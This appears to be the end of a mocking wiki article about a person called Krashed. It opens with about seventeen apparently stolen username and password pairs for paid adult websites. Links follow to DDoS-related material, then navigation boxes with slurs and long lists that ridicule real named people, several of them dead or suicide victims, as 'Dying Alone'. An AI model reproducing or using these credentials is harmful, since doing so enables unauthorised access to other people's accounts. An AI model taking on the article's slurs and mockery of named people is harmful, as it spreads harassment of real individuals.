    http://n1.brazzersnetwork.com/sblogin/login.shtml/members/
    UserName: bigwolf9
    Password: bigwolf1
    http://n2.brazzers.com/
    UserName: mhughes
    Password: hammer35
    http://bangbrosnetwork.com/members/
    UserName: cloever
    Password: valleas
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: battery
    Password: spencer
    http://www.brazzerspass.com/members/index.php?action=login/
    UserName: ashwood
    Password: ashwood1
    http://bangbrosnetwork.com/member/
    UserName: apucnherh
    Password: lotus
    http://members.brazzersnetwork.com/
    UserName: jcesposito
    Password: gizmo52
    http://www.videosz.com/
    UserName: vfn6mc56
    Password: rshc387
    http://videosz.com/
    UserName: vza43bvm
    Password: xpv7377
    http://www.bangbrosnetwork.com/t1/pps=teeny/
    UserName: dnsadm
    Password: davex
    http://ma.brazzers.com/members/index.php?action=home/
    UserName: helvetex
    Password: death123
    http://n1.brazzerspass.com/sblogin/login.shtml/members/
    UserName: gibber
    Password: ziggyg
    http://www.bangbrosnetwork.com/t1/pps=teeny/
    UserName: joeboy
    Password: Grenden
    http://facialsz.videosz.com/members.php/
    UserName: vzs9984e
    Password: mjzn728
    http://facialsz.videosz.com/members.php/
    UserName: vfn7mg8k
    Password: cydj369
    http://bangbrosnetwork.com/members/[/url]/
    UserName: apucnherh
    Password: plotus
    http://ma.brazzers.com/members/index.php?action=login/
    UserName: byers1
    Password: joanchen


    Gallery

    He's such a stud, isn't he? About missing Pics
    [Collapse GalleryExpand Gallery]

    See Also

    PDF detailing Operation Cyberslam
    47MB capture of Krashed DDoSing irc.pr0sec.net
    http://en.wikipedia.org/wiki/Rizon
    http://www.wired.com/politics/security/news/2005/09/68800
    Krashed's Fat Cow
    Cow's twitter
    Nutter, Jennifer's real boyfriend but Krashed doesn't know ssshhh

    Krashed is part of a series on Dying Alone

    [DeadCry yourself to sleep]

    150px Those Who Have Died Alone

    Aaron SwartzAdam LanzaAlexis ArquetteAmanda ToddAmy WinehouseAnal CuntAndy KaufmanAnna Nicole SmithAsa CoonBrian AdamsBrandon CrispCharmaine DragunChris BenoitChris Harper-MercerChynaCodey PorterDavid BowieDavid CarradineEazy-EEdaremElliot RodgerElvis PresleyGeorge SodiniGizgizHappyCabbieHarambeHeath LedgerJeff WeiseJewWarioJim MorrisonKate SpadeKitty0706Kurt CobainLemonade CoyoteLeelah AlcornLil PeepLiloMegan MeierMichael JacksonMitchell HendersonMySpaceOtoya YamaguchiPekka-Eric AuvinenPrinceRandy StairRehtaeh ParsonsRicardo LopezRipperRobin WilliamsRudolph ZurickShawn WoolleyShaySteve StephensTony48219TooDamnFilthyTyler DumstorfVester FlanaganZhao Zewei

    Those Dying Alone

    03bgood2cash2 gryphon7jackass77Adam SandlerAngry GrandpaAhuviya HarelAIDS SkrillexAkewsticRockRAlex FordAlison RappAmerica's Third PartyAmy SchumerAngry JoeAnimatedJamesAnita SarkeesianAnonymous BorgAnthony 'A-Log' LoGattoAntony AguilarApril DavisAquagirlwhitefoxArgent009Arguecat3Arin HansonArmake21AsalieriAsa CoonAsher2500Austin AlexanderAvantGardePonyBambifan101BarneyfagBasement DwellersBen FordBen MoynihanBenny_the_SnakeBenthelooneyBig RedBikerfoxBill9929Bill GaedeBill GatesBLACKbusterCriticBob RehahnBrandontheMovieGuyBrandon SmithBrian MuellerBrianna WuBroniesButLovaByAppointmentToCarl the CuckCartoonjunkieCaseydeckerCheeyevChloe SagalChris-chanChris CrockerChuck M.Clint of Rise and FallCopperCabCorey MargeraCoughlan666CrazyvideosandrantsCrinklemonDaniel BrandtDan CilleyDane CookDani FilthDarius McCollumDarknessthecurseDave ChapelleDave MustaineDavid HockeyDaxflameDBoyWheelerDeekerDeterminedToDrawUTDev-catscratchDGTrixieDiaper BoyDisneyFan01DisneyMasterDJ KEEMSTARDnepropetrovsk maniacsDon RobertsDoodletonesDoomer3868Dorian_GayDoug WalkerDragoneerDrakonDustinEmer PrevostEmosEpic Fat GuyEpicKitty54Eric AbramovEric RidenourErik RibsskogFilthy FrankFagolescentsFanFic CriticFast EddieFat ManFaust & Pory Five Nights at Freddy's fansFlardoxFluffy teh wolfForeverKailynFriends of A-LogFurriesG-ZayGather Against FateGeorge LopezGhostGirlvinylGoddessMilleniaGreg MazujianGwen GaleGwen StefaniHarmful OpinionsHellkiller777I Dislike Cis PeopleI Hate EverythingIan Miles Cheongicze⁴rImma-The-DeerInkBunnyJamil The KingJessi SlaughterJessica LeedsJim ProfitJoe Crusher PicklesJoekerJohn BullaJohn FieldJohn KricfalusiJohn Patrick RogersJonathan McIntoshJonTronJoseph CampJoseph8276Joshua "Null" MoonJuggalosJustinRPGKaBlamBandicoot64Kat DenningsKendall JennerKathleen ToddKenny GlennKevin HavensKimmo Johan AlmKingEmpoleonKingMasterReviewKrashedLaci GreenLarry the Cable GuyLauren FaustLeafyIsHereLecarickLeigh AlexanderLeisureSuitGamingLena DunhamLeonard F. Shaner Jr.Leslie JonesLifeInATentLikeicareLinkaraLittleCloudLittleKuribohLordelthibarLucian HodobocM. ChaosA Man in BlackManchildrenMarblesMariotehplumberMarjan SiklicMatthew DavisMatthew NicholsonMaxtaroMcJuggerNuggetsMDetector5‎MeowbarkMeganSpeaksMichael BattonMichael FitzhywelMichael GimsonMike SandyMoleman9000Monica PunkMonkeyGameGuidesMoviebobMuZemikeMylarBalloonFanMysteriousMrEnterMysticArkNaokoElric2250Nathan GaleNawlinWikiNeckbeardsNeoGAFNick BateNick BravoNikkineko333Noah AntwilerNostalgia ChickNotchNullcherriOFWGKTAOnyx ForepawPaigeGirlPaul FeigPaulie CalafioreParkourdude91Peter BrightPeter CoffinPhantomStrider8Phil FishPhunWithLogicPinkieponyPit ViperPixyteriPMRantsPreachingthegospelQuentin TarantinoRachael MacFarlaneRandi HarperRedheadXilamGuyRicki RavenRMG ProductionsRobert Wayne StilesRockosockoRomeo RoseRootbrianRose3212Sad FrogSammyClassicSonicFanSam PepperSarah ButtsSarahisniftySaturnDOSSceptreSchnookumsSegacampSega KidSeth MacFarlaneSethistoShadmanSimply OkamiSlowbeef & DiabetusSnapesnoggerSonmanicSony-MaeSophie LabelleSpax3StormySuperlisamcbSusan BoyleTara StrongTheAmazingAtheistTheDOSFagTheSockDetectiveTim BuckleyTJ LaneTodd in the ShadowsTom PrestonToonEGuyTourneyfagsTrey Eric SeslerTrigglypuffTyciolTyler GarmanyUlillilliaThe Unknown AutobotUrinatingTreeVadeVinceintheBayWade FulpWeatherManKevinWesley!!!WoWfan4lifeWwwareaWeegeeisgoingtokillmXenuriaYoshiwii1Youyoungbloodfantasy91Zoe QuinnZone

    Their Methods

    9gagAdventure TimeAIDSAnimuArt SchoolAsperger's SyndromeAssigned Maleask.fmBath SaltsThe Big Bang TheoryBlackLivesMatterBlack metalBody PillowsBoozeBullyingBuzzFeedCollectorComputer Science IIICosplayDead FriendDeath metalDeath penaltyDeviantARTDrugsEdginessFanFictionFeminismFidget spinner The Filthy Frank ShowFive Nights at Freddy'sFleshlightFriend ZoneFurry ArtGarry's ModGoAnimate!GooglewhackingGorillazGravity FallsGrindcoreHackingHappy Madison ProductionsHomestuck‎Hover hand‎HufflepuffInfantilismInsane Clown PosseInvisible GirlfriendIRCJenkemKiwi FarmsKotakuLegoLeague of LegendsLibertarianismLiveJournalLonelyLoveShyMai WaifuMen's rights activismMinecraftMLP ForumsMMORPGsMUDsMy Little PonyMy Tiny DickNice GuyismOculus RiftOh ShiternetOnline datingOnline sex gamesOverwatchPlastic CrapPlenty of Fish/r9k/RobloxRuneScapeSecond LifeSilk Screen Goku ShirtTaking the Internet Too SeriouslyShy Boys IRLSlayerSlipknotSluthateSmogon UniversitySocial JusticeSpeakoniaTeam Fortress 2That Guy With The GlassesThe SimsThey Might Be GiantsTulpasTumblrTV TropesUncle GrandpaUncyclopediaUndertaleVloggerheadsWatchMojo.comWizardchanWorld of WarcraftYouTube




    Krashed is part of a series on Security Faggots

    1337 h4x0rz

    Captain CrunchCult of the Dead CowDavid L. SmithGary McKinnonGOBBLESHD MooreJeff MossKevin MitnickLance M. HavokRobert MorrisTheo de RaadtweevWoz


    Try-Hards

    2cashAnonOpsBrian SalcedoFearnorFry GuyGadi Evrong00nsHack This SiteHacking TeamhannJoanna RutkowskaJohn FieldJoseph CampLizard SquadLulzSecMark ZuckerbergMarshviperXMasters of DeceptionMichael LynnKrashedRavenr000tRyanSteve Gibsonth3j35t3rThe RegimeSabuZeekill


    Related Shit

    AviraCiscogateCloudflareConfickerCyberDefenderDefconThe GibsonThe Great Em/b/assy Security Leak of 2007HeartbleedI GOT NORTON!Is Your Son a Computer Hacker?Operation SundevilPIFTS.exeSocial engineeringStylometrySubSevenZone-H

    Portal truth.png

    Krashed is part of a series on

    Truth

    Visit the Truth Portal for complete coverage.


    Featured article April 9th, 2014
    Preceded by
    Neutral Milk Hotel
    Krashed Succeeded by
    Meepsheep